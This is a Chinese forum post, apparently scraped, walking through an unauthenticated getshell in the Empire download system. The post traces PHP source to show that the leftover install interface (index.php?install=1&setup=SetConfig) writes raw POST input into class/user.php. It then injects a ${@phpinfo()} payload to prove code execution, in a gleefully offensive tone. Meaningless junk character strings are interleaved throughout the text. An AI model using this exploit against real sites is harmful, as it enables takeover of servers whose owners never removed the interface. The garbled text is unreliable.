这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
( }. D5 U: k4 h, N! b; a) q+ B
7 V" h$ c0 Y6 a1 ~5 p* e5 v/ Q4 Z7 U6 m
这是帝国的一套下载系统 如图5 A T) I0 c& N/ D: ^2 E
ps(不需要任何账户和密码,直接写shell)
1 b8 }, y* O1 _+ R& y: g由于很多站是由于下载要整合discuz 等等一些论坛....
6 B$ K) R6 s6 {+ d6 b I8 U
) {6 _4 z6 T# L6 m8 \9 q而帝国他又有一个万能接口,如图
9 s5 G/ G" q" y* z* i6 |1 E8 w- i1 R6 ^4 m$ o% d) B- g
8 }& G6 M+ n/ h! u0 R
而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
0 R$ @2 v+ ^& D6 o
! C( U# q2 Q- N* z当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
$ i! X, j. h$ W3 C' e: D
6 D% Y: P/ ^/ P) q在data/fun.php中的15行
/ Q; [9 R7 c% C# ^1 c0 @' J, d7 s( X7 Y- L7 e# V8 j
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {' c* l0 r, Z; ~7 x) w! r( ^- O. {
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
8 k8 _" v4 c a [4 d0 j3 A- g
, U/ _ O1 L. N& a5 v4 C. m+ H7 W9 ]这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
# C+ t2 N1 \# C8 Y
* G }$ c+ U: `( d5 l* ?- F% o- B他将传进来的变量进行了切割,然后赋给了$filetext
( N0 a& a& R8 h
* M- C- W& [2 `* e5 X3 i然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了3 Z0 ]% u& c4 Y" B
! T/ h1 P. t b4 a1 h我们看看写入的结果,随便填一个
' @/ d; s; T% c; }" d# Z
8 B0 U* S* g. c y( e, i# a5 g6 v/ X
! B8 Y9 ~0 X2 z6 y8 \! O2 n. `$ @; l1 h& v# i* X
" A* m, }8 u+ I* y2 |
% s/ L3 u/ C2 K3 [
: s% Q9 m, [7 W' V) c7 C) u4 J; R, p1 f$ t3 R, e
) f9 p: M" r4 D" F( D9 E( q7 P: z" ?1 o- a2 h
, ~1 v5 R' w3 C5 t4 j0 l
7 P7 g! G( P5 h2 D2 P# N5 c- f" h# {1 Q/ u8 t9 A
& K0 ]6 _4 j% B0 |. w
X; z" Y4 w7 L4 Z4 s K$ ^# L
/ g# ], U' c) A$ s8 n$ p, S" u. l+ u* @: X, K' ?
) ?& T l0 i& A/ ~! w1 g
/ h& g3 p0 a, i; T( x" `( B
6 {$ Q% t; ~& }' X" ^1 Q7 V4 n) ^0 s5 s: n' ]3 `' C' d2 Q" a( \
0 S" R* k5 k ~- v* W所以我们淫荡点,写个${@phpinfo()}试试
% Q3 V7 s) Z) ?: v$ I4 |! B8 N" I/ Q. J; v然后访问以下class/user.php这个文件, k$ P+ g8 { F$ @8 W( w
日了吧
6 j0 L7 W* g$ b: R5 j7 z, U4 r
8 T7 I5 X8 T+ ~- D& C+ i
4 K/ X7 t: {. M8 F) X1 Y& M+ w* i
: M5 E6 w+ r( \; a) b! \9 S$ v! M0 i* M3 {" C6 L4 a) c' ]
9 b$ |' n3 b6 s* L! s4 F8 d |